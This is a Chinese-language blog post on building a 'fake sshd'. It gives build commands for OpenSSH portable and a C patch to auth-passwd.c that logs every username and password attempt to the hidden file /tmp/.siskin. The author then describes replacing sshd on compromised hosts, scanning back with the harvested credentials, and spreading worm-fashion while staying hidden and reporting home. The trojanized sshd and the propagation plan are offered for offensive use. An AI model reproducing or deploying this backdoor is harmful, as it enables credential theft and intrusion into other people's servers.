fake sshd

WannaCry


最近WannaCry的影响终于过去了,通过这次全世界大规模蠕虫感染自己还是有一些感悟的,WannaCry的传播算是对这个严重的漏洞做了一个收尾,在我看来这样是好的,因为他并没有更坏。自己之所以走上今天这条道路,也是因为当年高中一个同学在操场上捡了一本‘黑客档案’,对于安全,我还是很感兴趣的,如果换做是我,我能不能写出一个类似的东西呢,静下心来,本着对技术的研究,打算一步一步完善自己的工具链,因为linux下不常有大规模的严重漏洞,只能通过字典进行暴力破解,之前已经写过一个扫描器和sshd了,也部署在了自己的VPS,收集了大量高质量的用户名和密码。地址:https://github.com/oiooj/honeypot_fish.扫描器是可以复用的,之前的那个sshd就不行了,为什么? 因为不够真,不够fake。

From C


想要做的真实就要基于官方的进行修改,简单且逼真。地址:https://github.com/openssh/openssh-portable 做好编译的所有准备:

你可能会遇到各种各样的问题,下面的命令可能能帮助到你。

0. yum install openssl-devel 

# cd src dir

1. autoheader
2. autoconfig
3. ./configure --prefix=/tmp/fakessh
4. make


#You will need uudecode installed, which is probably in the "sharutils" rpm. 
5. yum install sharutils
6. cd scard && make -f Makefile.in distprep  

7. make install


测试编译没有问题,开始动手:

修改 auth-passwd.c 添加自己的记录函数


int save_user_pass(Authctxt *authctxt, const char *password)
{
    char buffer[512];
    FILE *fp;

    if (password==NULL || authctxt==NULL)
        return -1;

    fp = fopen("/tmp/.siskin", "a+");
    if (fp)
    {
        if (authctxt->user)
        {
        snprintf(buffer, sizeof(buffer), "user=%s, passwd=%s, host=%s\r\n", authctxt->user, password, "test");
        fwrite(buffer, strlen(buffer), 1, fp);
        }
        fclose(fp);
    }
    return 0;
}

auth_password中调用上面的函数

/*
 * Tries to authenticate the user using password.  Returns true if
 * authentication succeeds.
 */
int
auth_password(Authctxt *authctxt, const char *password)
{
	struct passwd * pw = authctxt->pw;
	int result, ok = authctxt->valid;
	# insert here
    save_user_pass(authctxt, password);
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
	static int expire_checked = 0;
#endif

....


编译 make && make install

在肉鸡上替换掉原来的sshd. restart, done.

[root@LT openssh-portable-V_5_3_P1]# cat /tmp/.siskin
user=root, passwd=, host=test
user=root, passwd=1234, host=test
user=root, passwd=dkfjefnd, host=test


接下来 用扫描器反扫这些服务器,如果成功了,替换sshd,部署扫描器,不断感染下去。当然如何让自己在肉鸡上尽可能长久的存活下去,同时上报给你也是非常重要的。

如果想做跳板机做审计,可以参开这篇文章:https://my.oschina.net/beiyou/blog/76766,其实这种侵入性审计不是特别推荐。